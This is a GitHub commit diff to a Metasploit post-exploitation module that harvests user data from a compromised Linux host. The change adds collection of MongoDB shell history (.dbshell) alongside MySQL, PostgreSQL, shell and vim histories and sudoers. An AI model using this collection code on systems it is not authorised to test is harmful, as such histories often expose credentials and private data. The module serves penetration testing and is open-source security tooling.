Skip to content

Commit 013e45e

Browse files
committed
Add support for MongoDB history
1 parent d2e6f90 commit 013e45e

File tree

1 file changed

+13
-2
lines changed

1 file changed

+13
-2
lines changed

modules/post/linux/gather/enum_users_history.rb

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,8 +16,8 @@ def initialize(info = {})
1616
'Name' => 'Linux Gather User History',
1717
'Description' => %q{
1818
This module gathers user specific information.
19-
User list, shell history, mysql history,
20-
postgresql history, vim history, lastlog and sudoers.
19+
User shell history, MySQL history, PostgreSQL history,
20+
MongoDB history, vim history, lastlog and sudoers.
2121
},
2222
'License' => MSF_LICENSE,
2323
'Author' =>
@@ -49,6 +49,7 @@ def run
4949
end
5050
get_mysql_history(u)
5151
get_psql_history(u)
52+
get_mongodb_history(u)
5253
get_vim_history(u)
5354
end
5455

@@ -118,6 +119,16 @@ def get_psql_history(user)
118119
save("PostgreSQL History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
119120
end
120121

122+
def get_mongodb_history(user)
123+
vprint_status("Extracting MongoDB history for #{user}")
124+
if user == 'root'
125+
sql_hist = cat_file('/root/.dbshell')
126+
else
127+
sql_hist = cat_file("/home/#{user}/.dbshell")
128+
end
129+
save("MongoDB History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
130+
end
131+
121132
def get_vim_history(user)
122133
vprint_status("Extracting VIM history for #{user}")
123134
if user == 'root'

0 commit comments

Comments
 (0)